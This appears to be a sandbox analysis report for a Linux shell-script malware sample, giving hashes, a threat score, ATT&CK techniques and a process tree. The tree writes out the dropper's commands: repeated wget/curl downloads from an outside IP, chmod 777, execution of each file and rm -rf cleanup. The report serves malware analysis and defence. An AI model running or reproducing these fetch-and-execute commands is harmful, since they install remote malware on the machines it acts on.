25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9

Analysis

max time kernel
7s
max time network
9s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
28/08/2026, 07:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
Size 1KB
Sample260828-hsvb6stxcv
SHA256 25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9
MD5 bb86c5614957830eb8589e28f90d7bd0
SHA1 addf202eeb1e7a4305cb6dbae7c477570758fd1f
SHA512 6a461b6edbe5c94fde007ea6fa37e7cc74c08dce082ef6027d99a785026b2e0425375fb3119d3b628112e9d933461127f2dde300bdf46e56f52c3b4488756e6c
TLSH
T1E03198AF08251A311013CEDD77A23448729EA5E72C9FD7D4D85D1EAEC28978CF262F49
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
694	chmod
701	chmod
741	chmod
767	chmod
802	chmod
825	chmod
686	chmod
718	chmod
774	chmod
781	chmod
832	chmod
839	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/4d92bf	688	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/820100	695	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/b5b154	702	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/edcc1f	719	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/3d5792	743	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/c639a2	768	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/2fd830	775	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/362bf1	782	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/c84371	803	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/a4c6cc	826	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/47c50c	833	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/8ba2d2	840	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh

Checks CPU configuration 1 TTPs 12 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 24 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/a4c6cc	curl
File opened for modification	/tmp/8ba2d2	curl
File opened for modification	/tmp/b5b154	curl
File opened for modification	/tmp/edcc1f	curl
File opened for modification	/tmp/3d5792	curl
File opened for modification	/tmp/c639a2	curl
File opened for modification	/tmp/2fd830	curl
File opened for modification	/tmp/c84371	curl
File opened for modification	/tmp/47c50c	curl
File opened for modification	/tmp/4d92bf	curl
File opened for modification	/tmp/820100	curl
File opened for modification	/tmp/362bf1	curl

/tmp/25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
1⤵
- Executes dropped EXE
PID:657
- /usr/bin/wget
  wget http://5.182.210.174/4d92bf
  2⤵
  PID:663
- /usr/bin/curl
  curl -O http://5.182.210.174/4d92bf
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:679
- /bin/chmod
  chmod 777 4d92bf
  2⤵
  - File and Directory Permissions Modification
  PID:686
- /tmp/4d92bf
  ./4d92bf bc
  2⤵
  PID:688
- /bin/rm
  rm -rf 4d92bf
  2⤵
  PID:690
- /bin/rm
  rm -rf 4d92bf.1
  2⤵
  PID:691
- /usr/bin/wget
  wget http://5.182.210.174/820100
  2⤵
  PID:692
- /usr/bin/curl
  curl -O http://5.182.210.174/820100
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:693
- /bin/chmod
  chmod 777 820100
  2⤵
  - File and Directory Permissions Modification
  PID:694
- /tmp/820100
  ./820100 bc
  2⤵
  PID:695
- /bin/rm
  rm -rf 820100
  2⤵
  PID:697
- /bin/rm
  rm -rf 820100.1
  2⤵
  PID:698
- /usr/bin/wget
  wget http://5.182.210.174/b5b154
  2⤵
  PID:699
- /usr/bin/curl
  curl -O http://5.182.210.174/b5b154
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:700
- /bin/chmod
  chmod 777 b5b154
  2⤵
  - File and Directory Permissions Modification
  PID:701
- /tmp/b5b154
  ./b5b154 bc
  2⤵
  PID:702
- /bin/rm
  rm -rf b5b154
  2⤵
  PID:704
- /bin/rm
  rm -rf b5b154.1
  2⤵
  PID:705
- /usr/bin/wget
  wget http://5.182.210.174/edcc1f
  2⤵
  PID:706
- /usr/bin/curl
  curl -O http://5.182.210.174/edcc1f
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:709
- /bin/chmod
  chmod 777 edcc1f
  2⤵
  - File and Directory Permissions Modification
  PID:718
- /tmp/edcc1f
  ./edcc1f bc
  2⤵
  PID:719
- /bin/rm
  rm -rf edcc1f
  2⤵
  PID:721
- /bin/rm
  rm -rf edcc1f.1
  2⤵
  PID:723
- /usr/bin/wget
  wget http://5.182.210.174/3d5792
  2⤵
  PID:725
- /usr/bin/curl
  curl -O http://5.182.210.174/3d5792
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:732
- /bin/chmod
  chmod 777 3d5792
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/3d5792
  ./3d5792 bc
  2⤵
  PID:743
- /bin/rm
  rm -rf 3d5792
  2⤵
  PID:746
- /bin/rm
  rm -rf 3d5792.1
  2⤵
  PID:748
- /usr/bin/wget
  wget http://5.182.210.174/c639a2
  2⤵
  PID:749
- /usr/bin/curl
  curl -O http://5.182.210.174/c639a2
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:761
- /bin/chmod
  chmod 777 c639a2
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/c639a2
  ./c639a2 bc
  2⤵
  PID:768
- /bin/rm
  rm -rf c639a2
  2⤵
  PID:770
- /bin/rm
  rm -rf c639a2.1
  2⤵
  PID:771
- /usr/bin/wget
  wget http://5.182.210.174/2fd830
  2⤵
  PID:772
- /usr/bin/curl
  curl -O http://5.182.210.174/2fd830
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:773
- /bin/chmod
  chmod 777 2fd830
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /tmp/2fd830
  ./2fd830 bc
  2⤵
  PID:775
- /bin/rm
  rm -rf 2fd830
  2⤵
  PID:777
- /bin/rm
  rm -rf 2fd830.1
  2⤵
  PID:778
- /usr/bin/wget
  wget http://5.182.210.174/362bf1
  2⤵
  PID:779
- /usr/bin/curl
  curl -O http://5.182.210.174/362bf1
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:780
- /bin/chmod
  chmod 777 362bf1
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/362bf1
  ./362bf1 bc
  2⤵
  PID:782
- /bin/rm
  rm -rf 362bf1
  2⤵
  PID:784
- /bin/rm
  rm -rf 362bf1.1
  2⤵
  PID:785
- /usr/bin/wget
  wget http://5.182.210.174/c84371
  2⤵
  PID:786
- /usr/bin/curl
  curl -O http://5.182.210.174/c84371
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:793
- /bin/chmod
  chmod 777 c84371
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /tmp/c84371
  ./c84371 bc
  2⤵
  PID:803
- /bin/rm
  rm -rf c84371
  2⤵
  PID:806
- /bin/rm
  rm -rf c84371.1
  2⤵
  PID:808
- /usr/bin/wget
  wget http://5.182.210.174/a4c6cc
  2⤵
  PID:809
- /usr/bin/curl
  curl -O http://5.182.210.174/a4c6cc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:818
- /bin/chmod
  chmod 777 a4c6cc
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/a4c6cc
  ./a4c6cc bc
  2⤵
  PID:826
- /bin/rm
  rm -rf a4c6cc
  2⤵
  PID:828
- /bin/rm
  rm -rf a4c6cc.1
  2⤵
  PID:829
- /usr/bin/wget
  wget http://5.182.210.174/47c50c
  2⤵
  PID:830
- /usr/bin/curl
  curl -O http://5.182.210.174/47c50c
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:831
- /bin/chmod
  chmod 777 47c50c
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/47c50c
  ./47c50c bc
  2⤵
  PID:833
- /bin/rm
  rm -rf 47c50c
  2⤵
  PID:835
- /bin/rm
  rm -rf 47c50c.1
  2⤵
  PID:836
- /usr/bin/wget
  wget http://5.182.210.174/8ba2d2
  2⤵
  PID:837
- /usr/bin/curl
  curl -O http://5.182.210.174/8ba2d2
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:838
- /bin/chmod
  chmod 777 8ba2d2
  2⤵
  - File and Directory Permissions Modification
  PID:839
- /tmp/8ba2d2
  ./8ba2d2 bc
  2⤵
  PID:840
- /bin/rm
  rm -rf 8ba2d2
  2⤵
  PID:842
- /bin/rm
  rm -rf 8ba2d2.1
  2⤵
  PID:843

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

4d92bf

Path /tmp/4d92bf
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads